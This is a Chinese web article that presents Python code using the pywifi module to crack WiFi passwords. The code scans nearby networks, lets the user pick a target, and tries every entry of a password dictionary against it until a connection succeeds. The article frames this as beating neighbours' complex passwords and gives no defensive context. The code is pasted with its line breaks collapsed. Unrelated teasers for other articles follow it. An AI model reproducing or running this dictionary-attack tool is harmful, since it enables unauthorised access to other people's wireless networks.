密码设置复杂的wifi(WiFi密码设置复杂了)
密码设置复杂的wifi(WiFi密码设置复杂了)
2024-11-05 11:58:56  作者:不忘来年  网址:https://m.xinb2b.cn/life/zbo461243.html

现在每个家庭都有WiFi!大家都以为为了防止别人蹭WiFi密码设置复杂一点,万能钥匙就破解不了!今天给大家看看python工程师是怎么破解WiFi密码的!今天利用python中的pywifi模块来写这个程序!上教程


一、获取密码文件的路径

self.get_value = StringVar()

二、获取WiFi账号

self.get_wifi_value = StringVar()

三、获取WiFi密码

self.get_wifimm_value = StringVar()

四、抓取网卡接口

self.wifi = pywifi.PyWiFi()

五、抓取第一个无线网卡

self.iface = self.wifi.interfaces()[0]

六、测试连接断开所有链接

self.iface.disconnect()

七、测试网卡是否属于断开状态

assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]


八、自动会调用的函数,返回自身的网卡

return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())

九、搜索WiFi

#开始扫描print("^_^ 开始扫描附近wifi...")self.iface.scan()time.sleep(15)#在若干秒后获取扫描结果scanres = self.iface.scan_results()#统计附近被发现的热点数量nums = len(scanres)print("数量: %s"%(nums))#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))# 实际数据self.show_scans_wifi_list(scanres)return scanres

十、添加密码文件目录

self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)

十一、Treeview绑定事件

self.sels= event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])

十二、读取密码字典,进行匹配

def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get()pwdfilehander=open(self.getFilePath,"r",errors="ignore")while True:try:self.pwdStr=pwdfilehander.readline()if not self.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)if self.bool1:self.res = "===正确=== wifi名:%s 匹配密码:%s "%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:self.res = "---错误--- wifi名:%s匹配密码:%s"%(self.get_wifissid,self.pwdStr)print(self.res)time.sleep(3)except:continue

十三、对wifi和密码进行匹配

#创建wifi链接文件self.profile = pywifi.Profile()self.profile.ssid =wifi_ssid #wifi名称self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元self.profile.key = pwd_Str #密码self.iface.remove_all_network_profiles() #删除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件self.iface.connect(self.tmp_profile)#链接time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上isOK=Trueelse:isOK=Falseself.iface.disconnect() #断开time.sleep(1)#检查断开状态assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK

运行结果



  • 王牌竞速面饰怎么获得
  • 2024-11-06王牌竞速面饰怎么获得王牌竞速面饰获得的方法:1.首先通过参加排位赛、练习赛或者其他活动,获取足够数量的礼品点或者获得采购券2.礼品点和采购券可以在商城中免费抽取速度节宝箱,其中礼品点每200个可开一次,采购券每张可开一次。
  • 推荐几道下饭菜百吃不厌美味可口(懒人必备的5道下饭菜)
  • 2024-11-06懒人必备的5道下饭菜简单又令人满足的一顿饭,一碗米饭,一个下饭菜,最多再加一碗汤,足矣By豆果美食达人爱吃的小猫咪3南北方的主食不同,但无论是米饭还是馒头,都需要一些下饭菜,才能够食欲大开,有菜有主食才是完整的一顿饭By。
  • 粉色的钻石代表什么(黑色钻石有话要说)
  • 2024-11-06黑色钻石有话要说黑色是一个很强大的色彩,在大多数文化中,与黑色产生的联系会是悲哀、死亡和罪恶等感觉,黑色的乌鸦,黑猫都被视为不祥之兆而黑色钻石钻石常常也比较少见,是否真的如有些人说的那般,也代表着不详呢?黑钻石是什么。
  • 长城wey圆梦suv自动挡(长城34)
  • 2024-11-06长城34[XCAR行业新闻原创]高端化以成为中国品牌未来布局的一个趋势,在吉利等车企推出高端品牌后,SUV的长年霸主长城汽车对高端品牌垂诞已久,规划了推出了高端品牌,该品牌定位高于哈弗,名称命名为“WEY”,。
  • 钣金什么软件比较好(完美主义者的福音)
  • 2024-11-06完美主义者的福音对于伊兰特这款车型,不少朋友肯定非常熟悉,那可是当年经典的国民车型,而去年推出的全新第七代伊兰特,更是在颜值来了个翻天覆地的变化,前脸造型更犀利了,车头乃至车身侧面的线条运用也展现了它独特的美,但问题。
  • 怎么区别led屏和oled屏(LED屏幕和OLED屏幕有什么区别)
  • 2024-11-06LED屏幕和OLED屏幕有什么区别目前的电视市场,更新换代的频率越来越快,无论是国产品牌还是合资品牌,都不约而同的推出了全新产品这离不开人们对更好品质追求的不断提升,购买意愿从最初的“能看就行”,转变成了现在的“享受观看”这其中,OL。
  • 深圳大学要上网课(贵州大学学习不停摆)
  • 2024-11-06贵州大学学习不停摆来源:人民网-贵州频道当前,疫情防控形势复杂严峻在严格落实各项疫情防控工作的同时,贵州大学暂停线下教学活动,有序启动线上教学,妥善做好学校教学工作,让师生交流更通畅,让专业学习更高效贵州大学有序启动线。
  • 光脚不怕穿鞋的什么意思(什么叫光脚不怕穿鞋的)
  • 2024-11-06什么叫光脚不怕穿鞋的“光脚的不怕穿鞋的”是谚语光脚的指那些一无所有的人,他们没有什么可失去的东西,也就无所顾虑,什么事情都敢于去做“舍得一身剐,敢把皇帝拉下马”穿鞋的人是指有地位、有地位、有财富的人,他们大多数人不敢做任。
  • 厦门大学2023年考研专业目录官网
  • 2024-11-06厦门大学2023年考研专业目录官网官网为https://zs.xmu.edu.cn/info/1056/5154.htm厦门大学(XiamenUniversity)简称“厦大”,是全国75所教育部直属高等学校之一,为国家“211工程”。
  • 白带都有哪几种颜色反映了什么(白带呈什么颜色)
  • 2024-11-06白带呈什么颜色白带,是女性健康的晴雨表而学会观察白带,是女人健康的必修课通过小小的白带,我们可以看到自己身体的健康状况那么如何通过白带来判断女性生殖健康的呢?今天小编就来和大家说一说,希望大家学会给自己身体做“小体。
  • 翡翠吊坠睡觉可以戴吗(睡觉可以戴翡翠吊坠吗)
  • 2024-11-06睡觉可以戴翡翠吊坠吗晚上能戴翡翠吊坠睡觉,这个主要看个人生活习惯如果是睡觉不安分的小伙伴是不建议佩戴睡觉,有一些人睡觉的时候不安分,经常变换姿势,这种情况建议摘下翡翠吊坠再睡如果把戴了翡翠吊坠的那只手压在底下,对血液循环。